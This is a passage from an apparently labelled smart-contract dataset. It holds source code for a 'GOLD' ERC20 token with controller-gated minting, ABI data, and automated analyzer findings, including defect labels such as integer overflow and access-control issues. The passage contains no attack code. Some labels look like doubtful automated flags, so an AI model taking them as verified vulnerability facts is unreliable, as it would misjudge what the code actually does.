"SOLIDITY_PRAGMAS_VERSION", "line": 1801, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1877, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1951, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 318, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 321, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 324, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 327, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 330, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 333, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 819, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 822, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 829, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 832, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 835, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1389, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1392, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1395, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1398, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1814, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1818, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1893, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1957, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 692, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 251, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 695, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1316, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 64, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 837, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1808, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1900, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 64, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 64, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 65, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 67, "severity": 1}] | [{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerIndexOutOfBounds","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TokenIndexOutOfBounds","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"totalMinted","type":"uint256"}],"name":"Minted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPrice","type":"uint256"}],"name":"changePrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"flipSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.7+commit.e28d00a7 | false | 200 | 00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://360e483fa09b2085e5449325ce9f2fa896121b31020e21acec849e4568ee791b |
||
GOLD | 0xc98fce87f654903a3038b08fefbfbf9553afb99c | Solidity | // File: /C/Users/Luke/Projects/wolfgame-contract/contracts/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/GOLD.sol
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "./ERC20.sol";
import "./Ownable.sol";
import "./IGOLD.sol";
contract GOLD is IGOLD, ERC20, Ownable {
// a mapping from an address to whether or not it can mint/burn
mapping(address => bool) private controllers;
/**
* create the contract with a name and symbol
*/
constructor() ERC20("GOLD", "GOLD") {}
/**
* mints $GOLD to a recipient
* @param to the recipient of the $GOLD
* @param amount the amount of $GOLD to mint
*/
function mint(address to, uint256 amount) external override {
require(controllers[_msgSender()], "GOLD: Only controllers can mint");
_mint(to, amount);
}
/**
* burns $GOLD from a holder
* @param from the holder of the $GOLD
* @param amount the amount of $GOLD to burn
*/
function burn(address from, uint256 amount) external override {
require(controllers[_msgSender()], "GOLD: Only controllers can burn");
_burn(from, amount);
}
/**
* enables an address to mint/burn
* @param controller the address to enable
*/
function addController(address controller) external onlyOwner {
controllers[controller] = true;
}
/**
* disables an address from minting/burning
* @param controller the address to disbale
*/
function removeController(address controller) external onlyOwner {
controllers[controller] = false;
}
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/IGOLD.sol
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IGOLD {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
// File: /C/Users/Luke/Projects/wolfgame-contract/contracts/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["652"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["616", "631", "642"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["316", "288", "314", "289", "267", "265"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"C/Users/Luke/Projects/wolfgame-contract/contracts/Context.sol": [20, 21, 22]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"C/Users/Luke/Projects/wolfgame-contract/contracts/Ownable.sol": [53, 54, 55]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"C/Users/Luke/Projects/wolfgame-contract/contracts/Ownable.sol": [64, 61, 62, 63]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"C/Users/Luke/Projects/wolfgame-contract/contracts/Context.sol": [3]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"C/Users/Luke/Projects/wolfgame-contract/contracts/Ownable.sol": [3]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 286, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 292, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 309, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 320, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 639, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 163, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 395, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 457, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 543, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 575, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 588, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 67, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 69, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 73, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 74, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 404, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 605, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 24, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 409, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 612, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"controller","type":"address"}],"name":"addController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"